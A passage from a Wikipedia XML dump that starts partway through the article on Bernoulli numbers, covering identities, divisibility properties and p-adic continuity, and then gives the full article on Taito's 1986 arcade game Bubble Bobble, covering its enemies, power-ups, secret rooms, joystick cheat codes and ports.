 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;10&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;5/66&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;11&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;12&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;&amp;minus;691/2730&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;13&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;0&lt;/TD&gt;&lt;/TR&gt;
 &lt;TR&gt;&lt;TD ALIGN=CENTER&gt;14&lt;/TD&gt;&lt;TD ALIGN=CENTER&gt;7/6&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;

It can be shown that ''B''&lt;sub&gt;''n''&lt;/sub&gt; = 0 for all odd ''n'' other than 1.
The appearance of the peculiar value ''B''&lt;sub&gt;12&lt;/sub&gt; = &amp;minus;691/2730 suggests that the values of the Bernoulli numbers have no elementary description. In fact they may be derived in a simple way from the values of the [[Riemann zeta function]] at negative integers (since &amp;zeta;(&amp;minus;''n'') = &amp;minus;''B''&lt;sub&gt;''n''+1&lt;/sub&gt;/(''n''&amp;nbsp;+&amp;nbsp;1) for all positive integers ''n''), and are as a consequence connected to deep number-theoretic properties, and could not be expected to have a trivial formulation.

==Assorted identities==

[[Leonhard Euler]] expressed the Bernoulli numbers in terms of the Riemann zeta as

:&lt;math&gt;B_{2k}=2(-1)^{k+1}\frac {\zeta(2k)\; (2k)!} {(2\pi)^{2k}}. &lt;/math&gt;

The ''n''th [[cumulant]] of the [[continuous uniform distribution|uniform]] [[probability distribution]] on the interval [&amp;minus;1,&amp;nbsp;0] is ''B''&lt;sub&gt;''n''&lt;/sub&gt;/''n''.

The following relations, due to [[Ramanujan]], provide a more efficient method for calculating Bernoulli numbers:

:&lt;math&gt;m\equiv 0\,\bmod\,6\qquad {{m+3}\choose{m}}B_m={{m+3}\over3}-\sum_{j=1}^{m/6}{m+3\choose{m-6j}}B_{m-6j}&lt;/math&gt;

:&lt;math&gt;m\equiv 2\,\bmod\,6\qquad {{m+3}\choose{m}}B_m={{m+3}\over3}-\sum_{j=1}^{(m-2)/6}{m+3\choose{m-6j}}B_{m-6j}&lt;/math&gt;

:&lt;math&gt;m\equiv 4\,\bmod\, 6\qquad{{m+3}\choose{m}}B_m=-{{m+3}\over6}-\sum_{j=1}^{(m-4)/6}{m+3\choose{m-6j}}B_{m-6j}&lt;/math&gt;

==Arithmetical properties of the Bernoulli numbers==

The Bernoulli numbers can be expressed in terms of the Riemann zeta function as ''B''&lt;sub&gt;''n''&lt;/sub&gt; = &amp;minus; ''n''&amp;zeta;(1 &amp;minus; ''n''), which intimately relates them to the values of the zeta function at negative integers. As such, they could be expected to have and do have deep arithmetical properties, a fact discovered by [[Kummer]] in his work on [[Fermat's last theorem]]. 

Divisibility properties of the Bernoulli numbers are related to the [[ideal class group]]s of [[cyclotomic field]]s by a theorem of Kummer and its strengthening in the [[Herbrand-Ribet theorem]], and to class numbers of real quadratic fields by [[Ankeny-Artin-Chowla congruence|Ankeny-Artin-Chowla]]. We also have a relationship to [[algebraic K-theory]]; if ''c''&lt;sub&gt;''n''&lt;/sub&gt; is the numerator of ''B''&lt;sub&gt;''n''&lt;/sub&gt;/2''n'', then the order of &lt;math&gt;K_{4n-2}(\Bbb{Z})&lt;/math&gt; is &amp;minus;''c''&lt;sub&gt;2''n''&lt;/sub&gt; if ''n'' is even, and 2''c''&lt;sub&gt;2''n''&lt;/sub&gt; if ''n'' is odd.

Also related to divisibility is the [[von Staudt-Clausen theorem]] which tells us if we add 1/''p'' to ''B''&lt;sub&gt;''n''&lt;/sub&gt; for every prime ''p'' such that ''p'' &amp;minus; 1 divides ''n'', we obtain an integer. This fact immediately allows us to characterize the denominators of the non-zero Bernoulli numbers ''B''&lt;sub&gt;''n''&lt;/sub&gt; as the product of all primes ''p'' such that ''p'' &amp;minus; 1 divides ''n''; consequently the denominators are square-free and divisible by 6.

The [[Agoh-Giuga conjecture]] postulates that ''p'' is a prime number if and only if ''pB''&lt;sub&gt;''p''&amp;minus;1&lt;/sub&gt; is congruent to &amp;minus;1 mod ''p''.

===''p''-adic continuity===

An especially important congruence property of the Bernoulli numbers can be characterized as a p-adic continuity property. If ''b'', ''m'' and ''n'' are positive integers such that ''m'' and ''n'' are not divisible by ''p''&amp;nbsp;&amp;minus;&amp;nbsp;1 and &lt;math&gt;m \equiv n\, \bmod\,p^{b-1}(p-1)&lt;/math&gt;, then 

:&lt;math&gt;(1-p^{m-1}){B_m \over m} \equiv (1-p^{n-1}){B_n \over n} \,\bmod\, p^b.&lt;/math&gt;

Since &lt;math&gt;B_n = -n\zeta(1-n)&lt;/math&gt;, this can also be written

:&lt;math&gt;(1-p^{-u})\zeta(u) \equiv (1-p^{-v})\zeta(v)\, \bmod \,p^b\,,&lt;/math&gt;

where ''u'' = 1 &amp;minus; ''m'' and ''v'' = 1 &amp;minus; ''n'', so that ''u'' and ''v'' are nonpositive and not congruent to 1 mod ''p''&amp;nbsp;&amp;minus;&amp;nbsp;1. This tells us that the Riemann zeta function, with &lt;math&gt;1-p^z&lt;/math&gt; taken out of the Euler product formula, is continuous in the p-adic numbers on odd negative integers congruent mod ''p''&amp;nbsp;&amp;minus;&amp;nbsp;1 to a particular &lt;math&gt;a \not\equiv 1\, \bmod\, p-1&lt;/math&gt;, and so can be extended to a continuous function &lt;math&gt;\zeta_p(z)&lt;/math&gt; for all ''p''-adic integers &lt;math&gt;\Bbb{Z}_p,\,&lt;/math&gt;
the '''''p''-adic Zeta function'''.

==Geometrical properties of the Bernoulli numbers==

The [[Kervaire-Milnor formula]] for the order of the cyclic group of diffeomorphism classes of [[exotic sphere|exotic (4''n''&amp;nbsp;&amp;minus;&amp;nbsp;1)-spheres]] which bound [[parallelizable manifold]]s for &lt;math&gt;n \ge 2&lt;/math&gt; involves Bernoulli numbers; if ''B'' is the numerator of ''B''&lt;sub&gt;4''n''&lt;/sub&gt;/''n'', then

:&lt;math&gt;2^{2n-2}(1-2^{2n-1})B&lt;/math&gt; 

is the number of such exotic spheres. (The formula in the topological literature differs because topologists use a different convention for naming Bernoulli numbers; this article uses the number theorists' convention.)

== Efficient computation of Bernoulli numbers mod ''p'' ==

In some applications it is useful to be able to compute the Bernoulli numbers B&lt;sub&gt;0&lt;/sub&gt; through B&lt;sub&gt;''p''-3&lt;/sub&gt; modulo ''p'', where ''p'' is a prime; for example to test whether [[Vandiver's conjecture]] holds for ''p'', or even just to determine whether ''p'' is an [[irregular prime]]. It is not feasible to carry out such a computation using the above recursive formulae, since at least (a constant multiple of) ''p''&lt;sup&gt;2&lt;/sup&gt; arithmetic operations would be required. Fortunately, faster methods have been developed (see Buhler et al) which require only O(''p'' (log ''p'')&lt;sup&gt;2&lt;/sup&gt;) operations (see [[big-O notation]]).

== See also ==
* [[Riemann zeta function]]
* [[poly-Bernoulli numbers]]

==External links==

* [http://www.bernoulli.org The Bernoulli Number Page]
* [http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=A047680 Online Encyclopedia of Integer Sequences -- entry on a sequence related to the Bernoulli numbers]
* ''[http://www.gutenberg.net/etext/2586 The first 498 Bernoulli Numbers]'' from [[Project Gutenberg]]

== References ==

* Buhler, J., Crandall, R., Ernvall, R., Metsankyla, T., and Shokrollahi, M. &quot;Irregular Primes and Cyclotomic Invariants to 12 Million.&quot; ''J. Symb. Comput.'' '''11''', 1-8, 2000.

[[category: number theory]]
[[category: topology]]
[[Category:Integer sequences]]

[[ar:أعداد بيرنولي]]
[[de:Bernoulli-Zahlen]]
[[es:Número de Bernoulli]]
[[fr:Nombre de Bernoulli]]
[[it:Numeri di Bernoulli]]
[[nl:Bernoulli-getal]]
[[ja:ベルヌーイ数]]
[[pl:Liczby Bernoulliego]]
[[ru:Числа Бернулли]]
[[zh:伯努利数]]</text>
    </revision>
  </page>
  <page>
    <title>Bubble Bobble</title>
    <id>4965</id>
    <revision>
      <id>41447855</id>
      <timestamp>2006-02-27T11:01:22Z</timestamp>
      <contributor>
        <username>EpiVictor</username>
        <id>25132</id>
      </contributor>
      <minor />
      <comment>/* Enemies */ Gromit-&gt; Drunk</comment>
      <text xml:space="preserve">{{Infobox Arcade Game |title = Bubble Bobble
|image = [[Image:Bublbobl.png|250px|Bubble Bobble screenshot]]
|developer = [[Taito Corporation|Taito]]
|publisher = [[Romstar]]
|designer = Fukio Mitsuji
|release = 1986
|genre = [[Platform game]]
|modes = Up to 2 players simultaneously
|cabinet = Standard
|arcade system = 
|monitor = [[Raster graphics|Raster]], standard resolution 256 x 224 (Horizontal) Colors 256
|input = [[Joystick]] (2-way); 2 buttons
|ports = [[Bubble Bobble#Ports|See ports listing.]]
}}
'''''Bubble Bobble''''' is an [[arcade game]] by [[Taito Corporation|Taito]], first released in 1986. It features two cute dragons, '''Bub''' (Japanese &quot;Bubblun&quot;), who is green with yellow spikes and '''Bob''' (Japanese &quot;Bobblun&quot;), who is blue with cyan spikes. They move over a system of platforms, busting and pushing [[bubble]]s, avoiding enemies and collecting a variety of [[power-up]]s.

==Game mechanics==
The original arcade game, despite its release date (1986) and its apparent simplicity, features some rather complicated and convoluted game mechanics, one of the main reasons that most computer or game console ports of the game, even when released several years after the original, seem lacking and incomplete in many aspects.

===Levels===
Each level (or ''round'') consists of exactly one screen, with no [[Scrolling#Video games|scrolling]] or flipping. The dragons can move around the levels by walking on platforms, falling through empty space, jumping through platforms from below and (in some levels) falling through holes at the bottom of the level in order to reappear at the top, or even vice versa (see gameplay techniques below).

Apart from jumping, the characters can blow bubbles. Bubbles also float in from the top or bottom of the screen in many levels. They pop after a certain amount of time, when they hit the dragon's spiked back, if they're squashed against a wall or another dragon or if they're fallen upon. By holding down the jump button, it's possible to bounce on top of bubbles, which is sometimes necessary to reach platforms. The main objective of the game is to trap enemies in bubbles, then burst the bubble, thus destroying the enemy.

Each round also features invisible air currents and custom bubble physics, causing all bubbles to move in predetermined trajectories like converging to a certain point, moving very quickly or very slowly, rising too fast, being pulled down as if by gravity, etc., usually with notable effects on a level's difficulty.

Some levels have very short bubble popping times, meaning that bubbles pop almost as soon as they emerge. This is extreme to the point of only being able to kill monsters by &quot;kissing&quot; them in later levels - which means blowing a bubble in such a way that it's immediately squashed against the dragon  causing instant death to an enemy. Very short time limits are also used to make the game more difficult, with two rounds having no time limits and a few of them being almost impossible to finish under certain conditions (single player, lack of certain bonuses etc.). It's important to note that when you run out of time, you do not instantly die, but rather an invincible &quot;Skel&quot; enemy appears (two if there are two dragons playing) - for more information on the Skel enemy, see below.

===Enemies===
There are a variety of enemies that move about in different patterns. Contact with an enemy (or the missiles fired by some) will kill a dragon. The dragons' job is to complete the level by killing all enemies in it. If this is not achieved within a time limit, the message &lt;b&gt;&quot;Hurry up!&quot;&lt;/b&gt; will flash across the screen. When this happens, enemies become &quot;angry&quot; (making them move faster thus making them more dangerous). Approximately ten seconds later, one or two Skel enemies appear on screen. Enemies also become &quot;angry&quot; if they escape from a bubble that is not burst quickly enough by one of the dragons. They calm down when one of the dragons dies. When in Super Mode, enemies get swapped with a counterpart, e.g. Boa-Boa's replace Monstas and viceversa.

There are 7 kinds of normal enemies, plus the final [[boss (video games)|boss]] and two kinds of invincible monsters that appear after the &quot;hurry up&quot; limit, each with their own names. Roughly, in order of appearance, they are:
* [[Image:Benzo.gif]] '''Benzo''' (Japanese &quot;Zen-Chan&quot;): A box-shaped, clockwork walking monster with a medium moving speed and good jumping abilities. Interestingly, this monster appears in the graphic [[tiles]] of the [[ROM image|ROM]] of the arcade game ''[[Chack'n Pop]]'', along with the '''Stoner''' and '''Beluga''', but doesn't actually appear ''inside'' the game. ''Super Mode counterpart: '''Incendo'''.''
* [[Image:Ghost.gif]] '''Stoner''' (Japanese &quot;Mighta&quot;): A walking monster with red eyes wearing a white robe, much like a [[ghost]]. Has a medium moving speed, good jumping abilities and able to shoot. This monster actually first appeared in Taito's 1983 game ''[[Chack'n Pop]]''. ''Super Mode counterpart: '''Drunk'''.''
* [[Image:Blubba.gif]] '''Blubba''' (Japanese &quot;Monsta&quot;): A flying blue/dark purple monster shaped roughly like a small [[whale]]. It flies fast but can only bounce off walls to change direction. This monster also first appeared in ''[[Chack'n Pop]]''. ''Super Mode counterpart: '''Boa-Boa'''.''
* [[Image:Boaboa.gif]] '''Boa-Boa''' (Japanese &quot;Pulpul&quot;): A pink flying monster looking like a toy bear with a small [[rotor]] on his head. Flies around slowly but with greater control than the Blubba, and creep in very small openings other monsters and players cannot pass through, thus making it very dangerous in some rounds. ''Super Mode counterpart: '''Blubba'''.''
* [[Image:Incendo.gif]] '''Incendo''' (Japanese &quot;Hidegons&quot;, singular): A fast walking monster with shooting abilities, but poor jumping. Unlike the Mighta, he doesn't have to stop walking in order to shoot fireballs. ''Super Mode counterpart: '''Benzo'''.''
* [[Image:Mushroom.gif]] '''Colley''' (Japanese &quot;Banebou&quot;): A mushroom shaped-monster which can only move by making short jumps, having a single powerful [[Spring (device)|spring]] instead of legs. ''Super Mode counterpart: stays the same.''
* [[Image:Drunk.gif]] '''Drunk''' (Japanese &quot;Gromit&quot;): A fast moving monster with good jumping capabilites, and able to throw a bottle which rebounds off walls and is re-caught by the thrower. The final boss is modelled after them, but is instead called '''Grumple Grommit''' or '''Super Drunk'''. ''Super Mode counterpart: '''Stoner'''.''
* [[Image:Invader.gif]] '''Super Socket''' (Japanese &quot;[[Space Invaders|Invader]]&quot;): A robotic-looking monster, fast, but can only move left or right, and downwards if it reaches the end of a platform. It can shoot something resembling lightning, but only vertically (downwards), making it very dangerous in some stages. First appears on stage 60, and doesn't appear at all in the Super version of the game, being replaced by '''Incendo''' or '''Colley''' instead.
* [[Image:Baron.gif]] '''Baron von Blubba''' (Japanese &quot;Skel-Monsta&quot;): It is the invincible monster that appears after the time limit for a round has expired (this limit can be as low as 1 or 2 seconds on some rounds, but there are two rounds with no time limit; round 94 and round 100). It looks like a white Monsta but it can only move vertically or horizontally at timed intervals, but can pass through walls, ceilings, floors and it speeds up each time players avoid getting caught, down to the point of moving continuously. In two players mode, two '''Skels''' appear, each one homing on one player only, although both players can be killed by touching either of the '''Skels'''. A '''Skel''' can only be destroyed by killing a player, or if a player who has just been killed touches his companion's '''Skel''' while he is still flickering, and thus invincible. However, he disappears when the last regular enemy is destroyed. Another way to get rid of Skel is to pick up the '''flashing heart''' powerup (the only one which remains on the screen after the &quot;hurry up!&quot; warning.
* [[Image:Rascol.gif]] A smaller '''Rascol''' (Japanese &quot;Room Skel&quot;) also appears in the secret diamond-filled rounds, which can be accessed by special bonuses that appear on rounds 20, 30 and 40 under certain conditions (explained in later section). Losing one's last life inside such a secret room will cause the maximum round reached to be &quot;Round 102&quot;, &quot;Round 103&quot; or &quot;Round 104&quot; depending upon in which secret room death occurred, and the first new game started after that will teleport players to the first secret round straight from round 1, but will also cause secret rounds to appear earlier, at stages 10, 20 and 30, and the special 20-stage skip bonus on stage 40 instead of stage 50.
* [[Image:Boss.gif]] '''Super Drunk''' is the endgame boss that appears in level 100. He is huge, bounces off walls, and fires arcs of bottle-shaped missiles. The level contains a magic potion that lets you breathe lightning bubbles, and you have to hit him with lots of lightning to trap him in a bubble. &lt;!--Interestingly - is this encyclopedically &quot;interesting&quot;??--&gt; If this bubble is not popped soon enough, he will escape and become angry just like regular enemies.

===Weapons and bonuses===
The dragons' main weapon is their ability to blow bubbles. After being blown, they shoot forward for a short distance, then float upwards slowly. It is possible to jump on bubbles to reach otherwise inaccessible areas. An enemy hit by a forward-shooting (not floating) bubble will be trapped in it. The bubble can then be popped, killing the enemy and turning it into an item that can be collected for bonus points. If left floating, it will become angry and escape the bubble after a while.

In some levels, there are special bubbles that appear by themselves:
* Bubbles with letters that yield an [[extra life]] when one collects a complete set - all six letters to spell 'extend'. Extend bubbles appear when one has popped several enemies at the same time. They will only appear on levels which have holes in the top or bottom of the screen.
* Water-filled bubbles that can be popped to release a stream of water that flows down and drowns enemies, turning them into 7000-point blue diamonds.
* Bubbles containing lightning bolts that, when the bubble is popped, shoot sideways (even through walls) and kill any enemies they hit, turning them into 8000-point yellow diamonds. The lightning goes in the opposite of the direction that the dragon that popped it was facing.
* Bubbles containing flames that, when the bubble is popped, drop downwards setting any surface they touch on fire for a short time, killing any monsters that touch the flame and turning them into 9000-point red diamonds.
* A very rare red bubble with a pulsating yellow spark, which when popped awarded 100,000 points and gives the player which popped it the ability to breathe fireballs for the six consecutive rounds.

The main power-ups are:
* Red Shoes that enable faster walking and jumping
* A blue candy which increases the travelling and forming speed of bubbles
* A purple candy which increases the shooting range of bubbles
* A yellow candy that increases the rate at which bubbles can be blown.
* A yellow lamp which gives all three bubble-related bonuses.
* A red cross which gives the player who takes it the ability to breathe flames until the end of the current round.
* A yellow cross which causes several lighting bolts to cross the screen, killing any monster they hit, including bubbled ones.
* A blue cross which kills all monsters by flooding the round with water. This takes some 3 or 4 seconds to complete though, and players are still vulnerable.
* A red lamp which instantly kills all monsters, turning them into 9000-point red diamonds.
* A bomb, which instantly kills all monsters, turning them into 10,000-point dark blue diamonds.
* A book, which triggers an earthquake that kills all monsters.
* A candy cane that gives large power ups worth varying large amounts of points depending on color

In addition to this Bubble Bobble has several secret levels. These can be accessed by not losing a life before levels 20, 30, 40 and 50. For example, if you complete level 20 without dying, a grey door with flames on either side will appear in the next level. This secret level contains 36 diamonds and a message in a special symbol font. The key for decoding it is given on each message's plate, as the first line represents the 26 letters of the english alphabet in coded form. The level 50 doesn't take the form of a secret room, but instead is a 20 level skip.
[[Image:Room30.gif|right]]

===Secret rooms===

If a player can survive until stage 20 without losing a life, a door icon appears that, if collected in time, transports Bub &amp; Bob to one of three secret rooms. Along with loads of diamonds, there is a different coded message written on an orange plaque in each room. The first line of which indicates the alphabet (+=A, @=B etc.) and what follows explains game tips and cheat codes that work on the arcade machine.
Secret doors appear on levels 20, 30 and 40, with one that skips you forward 20 levels if you make it to stage 50 without dying.

The encoded cheats are:

'''Original Game mode:'''
Press Fire, Jump, Fire, Jump, Fire, Jump, Right, Start (all on player one's side) at the title screen. The message &quot;Original Game&quot; in blue letters will be displayed at the bottom of the screen to confirm correct code entry. Note: Enabling this code may be prevented with a DIP switch setting.

'''Power Up mode:'''
Press Left, Jump, Left, Start, Left, Fire, Left, Start (all on player one's side) at the title screen. The message &quot;Power Up&quot; in red letters will appear in the lower left corner to confirm correct code entry. Unlimited running and rapid fire are available in this mode. Note: Enabling this code may be prevented with a DIP switch setting.

'''Super mode:'''
Press Fire, Jump, Fire, Jump, Fire, Jump, Right, Start (all on player two's side) at the title screen. The word &quot;Super&quot; will appear above the title to confirm correct code entry. Opponents are more difficult in this mode, and enemies are swapped with their counterparts as specified on the enemy list. The colors of the rounds' tiles also change. Note: Enabling this code may be prevented with a DIP switch setting, or it can be always enabled.

'''Alternate bonus effects:'''
Enter one of the following initials on the high score screen, then start another game. New effects will appear when certain bonuses are collected during the game.
SEX, TAK, STR, KTT, I.F, MTJ, NSO, KIM, YSH, LSD

=== Techniques ===

A relatively unknown and obscure part of Bubble Bobble gameplay has always been the way the various bonuses appear. While most of them may appear completely random, the game actually keeps a series of internal (and unseen) counters about events such as number of jumps, jumps over bubbles, bubble bursts, bubbles blown etc. during a round or in the whole game, maximum number of monsters blown in a certain round etc. and these events are actually used to determine which bonuses will appear, and to a certain extent ''when'' they will appear.

Some known events and the effect they have on bonuses are:

The number of ''distinct'' EXTEND bubbles that will appear on a round depend on the maximum number of monsters killed during the round, or on a previous round if said previous round didn't have &quot;openings&quot; for EXTEND bubbles to fly in, or was completed before they could appear. In general, killing '''N+1''' monsters will make '''N''' distinct EXTEND bubbles appear. Since the game actually can have only 7 monsters per round, killing 7 monsters in a single bubble cluster will make all 6 EXTEND letters appear.

In Taito's PC port, however, killing '''N''' monsters will cause the '''N-th''' letter of the word to appear - making the N extremely hard to get because there's only few levels where you can easily pop five enemies simultaneously. This is probably a bug.

Another known event-triggered event is the appearance of ''candy cane'' bonuses: if a player '''rides a bubble''' more than 20 times, then a candy cane will surely appear in that round.

Other bonuses can be made to appear in similar manners, and there are lists of events and effects around the internet.

For a special bonus on the NES version, a player must enter the password HIJID, select 2 player continue, and finish round FO (last level) with both players alive. After the entire ending has run and the player is prompted to press start, the player will receive a reward. The reward is a sound test for the whole game.

===Playing techniques and styles===
''Bubble Bobble'' is a game heavily relying on [[gameplay]] and precise [[technique]] rather than graphics, and it features a series of special techniques and tricks a player can perform to maximize his or her score, make some rounds of the game easier or faster to finish or just to be able to survive or even finish a round.

Some of these techniques have special nicknames, which may differ from player to player and from country to country.

* '''Kissing monsters''' or just '''kissing''' means killing a monster by blowing a bubble at almost contact distance: the monster will be instantly bubbled and the bubble will be instantly popped, giving the visual effect of the player killing a monster with a &quot;kiss&quot;. Some players flip their joysticks in the opposite direction after pressing the bubble buttons, giving more chances of an &quot;instant pop&quot; and changing flight direction for the dead monster. This technique is useful in stages where monsters move too fast, bubbles last for too short of a time or it's otherwise hard to bubble them normally. Of course good timing is required for this technique to work.
* '''Riding bubbles''' means keeping the jump button pressed when dropping on a bubble: if done correctly, instead of popping the bubble, your dragon will instead jump on it, possibly continuously, enabling him to &quot;ride&quot; bubbles in order to reach otherwise unreachable areas. Some stages can't be finished without this technique.
*'''Bubbling oneself through''' means &quot;riding a bubble&quot; through the opening at the top of a stage or even just through the ceiling of a stage in order to appear at the lower part, like some flying monsters can do. This technique is required to finish some stages or to get unstuck from some places, or just to save time.
*'''Blowing against the wall''' means blowing bubbles against wall at contact distance: the bubbles will pop immediately thus giving the player 10 points per bubble pop. This can be used to either increase a player's score, or to set a player's score to a specific amount, in order to do other tricks.
*'''Two equal digits''' means using the &quot;blowing against the wall&quot; technique or other score-adjusting techniques in order to make the two penultimate (100s and 10s places) digits of at least one player equal, e.g., 456&lt;b&gt;77&lt;/b&gt;0, before the last enemy bubble is burst. If done correctly and the score is not modified when this occurs, then all remaining non-special bubbles on screen will be turned to 700-point bonuses, whose appearance depends on the digit picked. E.g., 7 gives Chocolate Ice Creams, 3 gives Hamburgers, and so on.
**This trick is easier to do with two players (one player adjusts his score and the other bursts the bubbles), but it can also be done with only one player, although calculating exactly how much (and if) one's score will be modified when bursting the last enemy bubbles can be extremely complex, if not unpredictable, especially if there are very large and clustered bubble bunches.
**Rounds with numbers ending with &lt;b&gt;5&lt;/b&gt; and &lt;b&gt;0&lt;/b&gt; generate bonuses from bubbles automatically, though, and some rounds (including round 1) do it by default.

== Ports ==
The popularity of ''Bubble Bobble'' led Taito (or its licensees) to [[porting|port]] to many [[home computer]]s and [[video game console]]s. Ports of the game were released for the [[Commodore 64]], [[ZX Spectrum]], [[Commodore Amiga]], [[Atari ST]], [[MSX]], [[Amstrad CPC]], [[X68000]], [[Personal computer|PC]] ([[MS-DOS]], 1989 and 1996), [[Apple II]], [[Sega Master System]], [[Game Boy]], [[Game Boy Color]], [[Game Boy Advance]], [[Nintendo DS]], [[PlayStation]], [[Sega Saturn]], [[Nintendo Entertainment System]], [[Famicom Disk System]], [[Sega Game Gear]], [[mobile phone]] ([[Sprint PCS]]), and [[UltraCade]]'s Taito Arcade Classics. 

In [[October 2005]], a version was released for the [[Xbox]], [[PlayStation 2]], and [[Personal computer|PC]] as part of the ''[[Taito Legends]]'' compilation of [[retrogaming|classic arcade games]]. 

===Game mechanics in conversions and ports===
''Bubble Bobble'' has been widely regarded as one of the most [[gameplay|playable]] games of all time, owing much of its success to its previously described game mechanics, which are only apparently simple, and its many hidden features and secrets. Also, most Bubble Bobble players usually manage to master techniques such as riding bubbles, 'bubbling' oneself through the screen or 'kissing' monsters, and expect them to work all the time.

Some ''Bubble Bobble'' ports however, from the date of release of the arcade version up today, have been heavily criticized for their mechanics deviating significantly from the arcade version, adversely affecting the gameplay.

For example, in many versions of the game the two-digit trick to make extra bonuses appear at the end of the stage just doesn't work, or the score and bonus awarding system is entirely different, in part due to the complexity of the original one, and most of the aforementioned techniques can be much harder or impossible to reproduce, thus completely changing (arguably ruining) the gaming experience.

Examples include even comparatively recent versions such as the (1996) [[personal computer|PC]]/[[PlayStation]]/[[Sega Saturn]] versions by [[Acclaim Entertainment|Acclaim]]: they either have different game mechanics (too fast dropping speed, barely working shoes, bubbles going through walls, different jumping physics and many non-implemented techniques) or different behaviour for some monsters (especially the time-up monster). 

Another example is the early 1989 PC version by [[Novalogic]], which had the possibility of diagonal jumps with a single keystroke (thus enabling players to go through walls), lacked completely the ability of kissing monsters, and had different rules governing the appearance of some bonuses (most notably the orange-yellow sweet).

The various Nintendo NES and Game Boy ports and sequels are very different, often featuring scrolling screens, different enemies, and the ability for the dragons to fly.

In general, there are as many variations to the game mechanics as there are versions, with some being more faithful to the arcade version than others and some resulting in noticeably different gameplay experience. Although that is a general rule regarding ports of any game, in Bubble Bobble it can become very noticeable and annoying because of the game relying primarily on its fast paced and trick-filled gameplay.

One of the few versions having game mechanics and gameplay very close to the arcade is the [[Sega Master System]] version, despite its introduction of extra gameplay elements. Moreover, the version included in ''Taito Legends'' for the Xbox, PS2, and PC should be a near-perfect copy of the original arcade version, as it supposedly features the original ROM running under [[Emulator|emulation]].

===Screenshots of different ports===
&lt;gallery&gt;
Image:Bb_spec.jpg|[[Spectrum]] port
Image:Bb_c64.gif|[[Commodore 64]] port
Image:Bb_nes.gif|[[Nintendo Entertainment System|NES]] port
Image:Bb_sega.gif|[[MSX|Master System]] port
Image:Bb_st.gif|[[Atari ST]] port
Image:Bb_amiga.jpg|[[Amiga]] port
Image:Bb_psp.jpg|[[PSP]] port
Image:Bb_arcade.gif|[[Arcade]]
&lt;/gallery&gt;

==Legacy==
''Bubble Bobble'' inspired many sequels, including:
[[Image:Bossrainbow.gif|thumb|right|Rainbow Islands Insect Island boss.]]
*''[[Rainbow Islands|Rainbow Islands - The Story of Bubble Bobble 2]]'' (1987) 
*''[[Rainbow Islands Extra Version]]'' (1988)
*''[[Final Bubble Bobble]]'' (1988 Sega Master System) 
*''[[Parasol Stars]]'' (1991 originally released for NEC PC-Engine, converted for Amiga, Atari ST, Game Boy and [[Nintendo Entertainment System]] (Europe))
*''[[Bubble Bobble Part 2]]'' (1993 Nintendo Famicom, Nintendo Entertainment System, Game Boy) 
*''[[Bubble Bobble II]]'' (World) / ''[[Bubble Symphony]]'' (Europe, Japan, U.S.) (1994 Arcade, [[Sega Saturn]] (Japan only))
*''[[Bubble Memories|Bubble Memories - The Story of Bubble Bobble III]]'' (1995 Arcade) 
*''[[Rainbow Islands - Putty's Party]]'' (2000 Bandai Wonderswan) 

There are a couple of previous Taito games which sort of anticipated the Bubble Bobble legacy because of their inclusion of characteristic common elements or even monsters (e.g. the ''Mighta'' and ''Monsta'' both appeared first in the game ''[[Chack'n Pop]]'', and in fact level 29 of Bubble Bobble is a direct copy of level 1 of Chack'n Pop) :
*''[[Chack'n Pop]]'' (1983)
*''[[Fairyland Story]]'' (1984)

Bub and Bob also appeared in ''[[Puzzle Bobble]]'', otherwise known as ''[[Bust a Move]]'' in the [[United States]]. ''Bust a Move'' was followed by many sequels, for many consoles, including [[PlayStation]], [[Nintendo 64]], [[Game Boy]], [[Game Boy Color]], [[Game Boy Advance]], [[Nintendo GameCube]], [[PlayStation 2]], [[Xbox]] and even the [[N-Gage]], along with computer and arcade versions. It became more popular than the original ''Bubble Bobble'' game itself.

== Similar games, spinoffs, and clones ==
''Bubble Bobble'''s successful gameplay has inspired not only many official sequels and spinoffs by Taito, but also a number of games with very similar gameplay elements. The most important of them include:
*The non-scrolling platformer action.
*Dividing the game into many levels (typically above 30).
*Defeating enemies by trapping them somehow instead of killing them right away.
*Collecting bonuses and finding secret ways of increasing their value.
*Collecting letters to gain an extra life.

Some examples of successful non-Taito video games resembling Bubble Bobble in some or even all of the above aspects are:
*''[[Rodland]]'' by [[Jaleco]] (1989).
*''[[Snow Brothers]]'' and its sequels by [[Toaplan]] (1991).
*''[[Tumblepop]]'' and ''[[Diet Go Go]]'' by [[Data East]].

[[Image:UltraBalloon.png|thumb|right|A screenshot of ''Ultra Balloon'' by SunA, a game obviously inspired by ''Bubble Memories''.]]

===Clones===
''[[Ultra Balloon]]'' (1996), by [[SunA Corporation]] (also manufacturer of [[Hard Head]] series), is an evident ''[[Bubble Memories]]'' copy and the only ''Bubble Bobble''-inspired arcade game to actually copy the bubble-blowing and popping system.

''Bubble Bobble'' also inspired a few software publishers to publish derivatives of the game for the PC and [[Apple Macintosh|Mac]]. Such titles include ''Bubble Bobble World'', ''Bubble Bobble Quest'', ''Bubble Bobble Nostalgie'', ''Bub &amp; Bob'', and ''The Bub's Brothers''. Such games are marketed online.

==External links==
* [http://www.tjasink.com/games/bb/items2.html Explanation of how to get special items]
* [http://www.klov.com/game_detail.php?letter=B&amp;game_id=7222 The KLOV entry on ''Bubble Bobble'']
*{{moby game|id=/bubble-bobble|name=''Bubble Bobble''}}
* [http://home.ptd.net/~glisman/bubble/bbfaqv1.txt Bubble Bobble FAQ]
* [http://taito.overclocked.org/ Bubble Bobble HQ]
* [http://www.bubandbob.com/ Unofficial homepage of Bub and Bob]
* {{dmoz|Games/Video_Games/Platform/Bubble_Bobble_Series/|''Bubble Bobble'' Series}}
* [http://www.world-of-video-games.com/nes/manuals/bubble_bobble.shtml BUBBLE BOBBLE by Taito] Instruction manual.
* [http://bub-n-bros.sourceforge.net/ Bub &amp; Bob Brothers] A clone made in [[Python programming language|Python]].

{{Bubble Bobble series}}
[[Category:1986 computer and video games]]
